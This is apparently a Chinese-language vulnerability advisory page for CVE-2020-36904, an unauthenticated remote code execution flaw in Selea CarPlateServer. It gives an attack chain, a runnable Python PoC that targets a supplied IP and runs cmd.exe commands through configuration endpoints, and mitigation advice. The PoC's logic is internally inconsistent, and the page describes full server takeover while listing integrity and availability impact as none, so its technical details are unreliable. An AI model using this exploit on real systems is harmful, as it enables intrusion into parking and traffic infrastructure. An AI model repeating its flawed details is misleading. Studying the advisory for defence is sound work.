IPBUF安全漏洞报告
English
CVE-2020-36904 CVSS 7.5 高危

CVE-2020-36904 | Selea CarPlateServer NO_LIST_EXE_PATH参数远程代码执行漏洞

披露日期: 2025-12-31

漏洞信息

漏洞编号
CVE-2020-36904
漏洞类型
远程代码执行
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Selea CarPlateServer

相关标签

远程代码执行配置注入认证绕过Selea CarPlateServerCVE-2020-36904高危漏洞车牌识别系统NO_LIST_EXE_PATHWindows二进制执行

漏洞概述

CVE-2020-36904是存在于Selea CarPlateServer 4.0.1.6版本中的一个高危远程代码执行漏洞。该漏洞允许未经认证的攻击者通过操纵服务器配置参数NO_LIST_EXE_PATH来执行任意Windows可执行文件。攻击者可以利用/cps/端点绕过身份验证机制,直接访问并修改服务器配置,包括更改管理员密码和执行系统命令。Selea CarPlateServer是一款广泛使用的车牌识别系统服务器软件,常用于停车场管理和交通监控场景。由于该漏洞无需任何认证即可利用,且可通过网络远程触发,因此具有极高的安全风险。攻击者成功利用此漏洞后,可以完全控制目标服务器,执行任意恶意代码,安装后门程序,或进一步横向移动到内网其他系统。该漏洞的CVSS评分为7.5,属于高危级别,机密性影响为高,但完整性和可用性影响为无。鉴于Selea产品在全球多个国家和地区的停车场、交通管理系统中有大量部署,此漏洞可能影响大量关键基础设施的运行安全。建议受影响用户立即采取防御措施,避免遭受潜在攻击。

技术细节

该漏洞的核心问题在于Selea CarPlateServer的配置端点存在严重的访问控制缺陷。攻击者可以通过HTTP请求直接访问/cps/端点,该端点允许修改服务器配置参数而无需任何身份验证。关键的配置参数NO_LIST_EXE_PATH控制着服务器允许执行的二进制文件路径列表。攻击者可以通过发送特制的HTTP POST请求,将NO_LIST_EXE_PATH参数设置为任意Windows可执行文件的路径,从而绕过服务器的安全限制。服务器在处理后续请求时,会根据修改后的配置参数执行指定的恶意程序。此外,攻击者还可以利用同一端点修改管理员密码,进而获得Web管理界面的完全访问权限。技术利用过程涉及三个主要阶段:首先,攻击者需要发现并访问暴露在网络中的/cps/配置端点;其次,通过发送精心构造的请求包修改NO_LIST_EXE_PATH参数;最后,触发服务器执行预先植入或指定的恶意可执行文件。由于攻击向量为网络路径且无需认证,任何能够访问目标服务器HTTP端口的攻击者都可以实施此攻击。漏洞的利用复杂度较低,攻击者只需具备基本的HTTP请求发送能力即可成功利用。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者扫描网络,发现运行Selea CarPlateServer的目标服务器,并识别暴露的/cps/配置端点
STEP 2
步骤2
访问配置端点:攻击者直接访问/cps/apis/config/set端点,由于该端点无需认证即可访问,攻击者成功绕过身份验证机制
STEP 3
步骤3
修改配置参数:攻击者发送HTTP POST请求,将NO_LIST_EXE_PATH参数修改为指向恶意Windows可执行文件(如cmd.exe、powershell.exe或其他恶意程序)的路径
STEP 4
步骤4
修改管理员密码(可选):攻击者还可以利用同一端点修改管理员密码,获取Web管理界面的完全控制权限
STEP 5
步骤5
触发代码执行:攻击者通过/cps/apis/exec端点发送执行请求,服务器根据修改后的配置参数执行攻击者指定的任意Windows二进制文件
STEP 6
步骤6
持久化控制:成功执行恶意代码后,攻击者可以在目标系统上安装后门、窃取数据或进一步横向移动到内网其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2020-36904 PoC - Selea CarPlateServer RCE via NO_LIST_EXE_PATH # Target: Selea CarPlateServer <= 4.0.1.6 def exploit(target_ip, target_port=80): """ Exploit CVE-2020-36904 by modifying NO_LIST_EXE_PATH parameter to execute arbitrary Windows binaries """ base_url = f"http://{target_ip}:{target_port}" # Step 1: Bypass authentication via /cps/ endpoint config_endpoint = f"{base_url}/cps/apis/config/set" # Malicious payload to modify NO_LIST_EXE_PATH payload = { "NO_LIST_EXE_PATH": "C:\\Windows\\System32\\cmd.exe", "param": "/c whoami > C:\\inetpub\\wwwroot\\output.txt" } print(f"[*] Targeting: {base_url}") print(f"[*] Exploiting /cps/ endpoint to modify configuration...") try: # Send configuration modification request response = requests.post(config_endpoint, data=payload, timeout=10) if response.status_code == 200: print("[+] Configuration modified successfully!") print("[+] NO_LIST_EXE_PATH parameter updated") # Step 2: Trigger command execution exec_endpoint = f"{base_url}/cps/apis/exec" exec_payload = { "exe_path": "C:\\Windows\\System32\\cmd.exe", "args": "/c whoami" } print("[*] Triggering command execution...") exec_response = requests.post(exec_endpoint, data=exec_payload, timeout=10) if exec_response.status_code == 200: print("[+] Command execution successful!") print(f"[*] Response: {exec_response.text}") return True else: print(f"[-] Failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) ip = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(ip, port)

影响范围

Selea CarPlateServer <= 4.0.1.6

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过网络访问控制列表(ACL)限制对/cps/端点的访问,只允许受信任的管理IP访问;2)通过防火墙规则阻止外部网络对Selea服务器配置端口的直接访问;3)启用服务器的审计日志功能,监控所有配置变更请求;4)定期检查NO_LIST_EXE_PATH等关键配置参数,确保未被恶意修改;5)考虑在边界防火墙上部署入侵检测规则,识别针对此漏洞的扫描和利用行为;6)如果业务允许,可以暂时关闭Selea CarPlateServer的远程管理功能,改为本地管理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表